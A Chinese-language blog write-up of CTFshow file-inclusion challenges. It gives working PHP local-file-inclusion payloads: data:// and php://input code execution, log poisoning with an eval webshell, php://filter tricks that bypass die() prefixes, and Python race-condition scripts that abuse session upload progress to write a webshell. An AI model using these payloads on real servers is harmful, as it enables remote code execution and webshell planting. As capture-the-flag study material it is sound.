ctfshow_web_文件包含

记录一下在ctfshow平台上学习文件包含的过程

preview

web78

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

如果在请求的 URL 参数中包含了一个名为 “file” 的参数,那么它的值将会被用作文件名进行文件包含操作。

关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。

使用data协议可以很直观有条理的获得flag

?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php

image-20230814191446681

?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。

利用data:// 伪协议可以直接达到执行php代码的效果

image-20230814191506066

也可以使用filter协议获得flag

image-20230814191301965

image-20230814191355072

web79

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

看到加了一些过滤

解法

通过大小写绕过

1
?file=data://text/plain,<?Php%20system("ls");?>

1
?file=data://text/plain,<?Php%20system("cat%20f*");?>

image-20230814192551794

web80

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

又加了对data的过滤

再试试能不能用大小写绕过

image-20230814193041723

好像协议这种改成大写就没法识别了,那就尝试换协议

image-20230814193536733

filter好像也没法用,那就尝试抓包利用input协议

image-20230814194303899

将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

在GET后添加

1
?file=Php://input

在数据包中添加

1
<?Php system('cat f*');?>

image-20230814194247480

发送请求即可得到flag

web81

image-20230814194607433

又被调侃了,哈哈哈,加油加油,克服难关,取得真经

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

又对:过滤了

考虑到日志包含漏洞

在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

由于访问URL时访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入

burp抓包,在ua写入

1
<?php @eval($_REQUEST[1])?>

然后hackbar的post请求写入

1
1=system("ls");

可以看到当前目录文件

image-20230814204744125

1
1=system("tac fl0g.php");

查看文件即可得到flag

image-20230814205134398

成功getshell也可以使用蚁剑连接

image-20230814205340317

LFI 绕过 Session 包含限制 Getshell

在网上搜这道题做法的时候看到一个另类的做法

用户会话

在了解session包含文件漏洞及绕过姿势的时候,我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程,只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。

会话存储

存储方式

Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

可以通过phpinfo查看session.save_path的值

知道session的存储后,总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。

  • 默认路径
1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

命名格式

如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

暂时没搞懂,以后碰到相关的再回来看看

web82

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

又添加了一些过滤

看了一个小时的php反序列化又什么session的看得头晕眼花也没看懂。。。。。。。。。

我觉得还是有必要去系统学习一下php的,懂得各种函数运行的原理和作用,为以后挖洞奠定基础。

session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。

条件竞争介绍

1.1 是什么

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。说的通俗一点,条件竞争涉及到的就是操作系统中所提到的进程或者线程同步的问题,当一个程序的运行的结果依赖于线程的顺序,处理不当就会发生条件竞争。

1.2产生条件

并发、共享对象、改变对象是条件竞争产生的必要条件

运行脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import threading
import io

url = "http://9210231b-ed09-454d-ac5c-fc766a9a5de0.challenge.ctf.show/"
sessID = 'rikka'
data = {
"1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');" # read()中需要post的内容
}


def write(session):
fileBytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
# 改参数的值就是/tmp/sess_rikka文件的内容
},
cookies={
"PHPSESSID": sessID
},
files={
'file': ('rikka.png', fileBytes)
}
)


def read(session):
while True:
res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
cookies={
"PHPSESSID": sessID
})
res2 = session.get(url+'1.php')
if res2.status_code == 200:
print("+++done+++")
else:
print(res2.status_code)


if __name__ == '__main__':
event = threading.Event() # 开启多线程的对象
with requests.session() as session:
for i in range(5): # 开5个线程
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()

event.set() # 唤醒线程

然后命令执行即可

image-20230815234126380

image-20230815234234233

burp抓包

session.upload_progress在php5.4添加的。

在php.ini有以下几个默认选项

1
2
3
4
5
6
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
  1. enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
  2. cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
  3. name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
  4. prefix+name将表示为session中的键名
  5. 另外,再添加个session配置中一个重要选项。
  6. session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

分析

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

session文件默认存储路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

以POST的形式发包,上传的文件随意,下面是构造的上传表单

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://61644d1f-fc5e-4ce6-a9de-ae4cf2248341.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

image-20230815235650552

抓包,这里我们添加一个 Cookie :PHPSESSID=flag ,session文件的位置我们根据上文的常见的几个测试,在/tmp/sess_PHPSESSID下成功访问且不报错,说明在/tmp/sess_PHPSESSID目录下, 所以PHP将会在服务器上创建一个文件:/tmp/sess_flag” 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码,

image-20230816002659495

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag,抓包

修改如下:这个a是随便加的,主要是为了方便爆破

image-20230816002719928

我不知道为什么我burp失败了,爆破了很多次,先放放再说

web83

image-20230816004243646

还是上一题的脚本

image-20230816004418026

image-20230816004500655

web84

题目

image-20230816004618995

虽然删除了,但是cpu和内存还是有间隔的

image-20230816005028551

web85

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

发现有死亡过滤

进行跑发现可以

image-20230816010140979

web86

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

定义了包含地址

image-20230816011221135

web87

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

rot13

利用php伪协议中的string.rot13过滤器将<?php die('大佬别秀了');?>“消掉”,这样就可以插入自己构造的php代码:

1
2
3
4
GET: ?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
// php://filter/write=string.rot13/resource=1.php + 二次编码
POST: content=<?cuc flfgrz('png sy0t.cuc');?>
/* <?php system('cat fl0g.php');?> */

base64-decode

1
2
3
4
GET: ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
// php://filter/write=convert.base64-decode/resource=1.php + 二次编码
POST: content=aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
/* <?php eval($_POST['cmd']);?> */

注意:<?php eval($_POST['cmd']);?>的编码是PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==,而我们POST的数据却多了两个字符aa。这是因为base64作用的字符对象是大小写字母 数字 +/,且decode是以8位为一组,但是原文件内容<?php die('大佬别秀了');?>中只有phpdie六个字符可以被用作deocde运算,二进制位数不满足base64-decode要求,所以需要补两个字符。

web88

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

题目进行了过滤

然后用base64绕过php过滤

base64编码出一个不被过滤的payload

1
2
?file=data://text/plain;base64,<?Php system("ls");echo("acd")?>adbe
?file=data://text/plain;base64,PD9QaHAgc3lzdGVtKCJscyIpO2VjaG8oImFjZCIpPz5hZGJl

image-20230815142126708

成功访问当前目录

访问fl0g.php文件

image-20230815142509136

1
2
3
4
/?file=data://text/plain;base64,<?Php system("tac fl0g.php");echo("ac")?>adeh
//编码前
/?file=data://text/plain;base64,PD9QaHAgc3lzdGVtKCJ0YWMgZmwwZy5waHAiKTtlY2hvKCJhYyIpPz5hZGVo
//编码后

web116

题目源码

发现是一个视频,还是很好看的

通过misc得到一个源码(暂时不会)

然后得知直接get传参然后抓包在返回的数据包中有flag

image-20230815145038010

web117

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这里看到了,没有过滤php://filter所以这里还是打算用这个绕过,emmm但是过滤了base64,多以就没法绕过了。

看了看一个新的死亡绕过方式,利用convert.iconv.UCS-2LE.UCS-2BE过滤器,这个是将前后两个字符进行交替(abcd==>badc),所以写入文件的<?php die();?>就会被扰乱,从而绕过。

1
? file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=test5.phpcontents=?<hp pvela$(P_SO[Tt"se5t]";)>?

image-20230815154024715

image-20230815154042471

文件包含心得

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

利用伪协议上传恶意代码

session利用竞争写入恶意文件

详解利用session进行文件包含_利用session机制,将所有敏感文件都引入事先写好的session文件,只有session文件中-CSDN博客

ctfshow元旦水友赛一道题

image-20240112114325950

1
2
3
4
5
6
7
8
9
10
<?php

function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}

if(waf($_POST[1])){
include "file://".$_POST[1];
}

过滤了点号并且开头必须为小写的字母。

什么是session.upload_progress?
与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.upload_progress.enabled可以控制是否开启

session.upload_progress功能session.upload_progress.cleanup可以控制是否在上传之后删除文件内容

session.upload_progress.prefix可以设置上传文件内容的前缀

session.upload_progress.name的值即为session中的键值

session.upload_progress开启之后会有什么效果?
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import threading

session = requests.session()
sess = 'yu22x'
url1 = "http://14e25fe0-d2f1-49aa-816c-9ed904be4f39.challenge.ctf.show/"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>'
}
data2 = {
'2': 'system("cat /f*");',
'1': 'localhost/tmp/sess_' + sess
}
file = {
'file': 'abc'
}
cookies = {
'PHPSESSID': sess
}

stop_threads = False # Flag to stop the threads

def write():
while not stop_threads:
r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
global stop_threads # Access the flag variable
while not stop_threads:
r = session.post(url1, data=data2)
if 'ctfshow{' in r.text:
print(r.text)
stop_threads = True # Set the flag to stop the threads

threads = [
threading.Thread(target=write),
threading.Thread(target=read)
]

for t in threads:
t.start()

for t in threads:
t.join() # Wait for the threads to finish

read先包含session文件使得一句话木马得到执行再执行命令。

通过编码绕过死亡过滤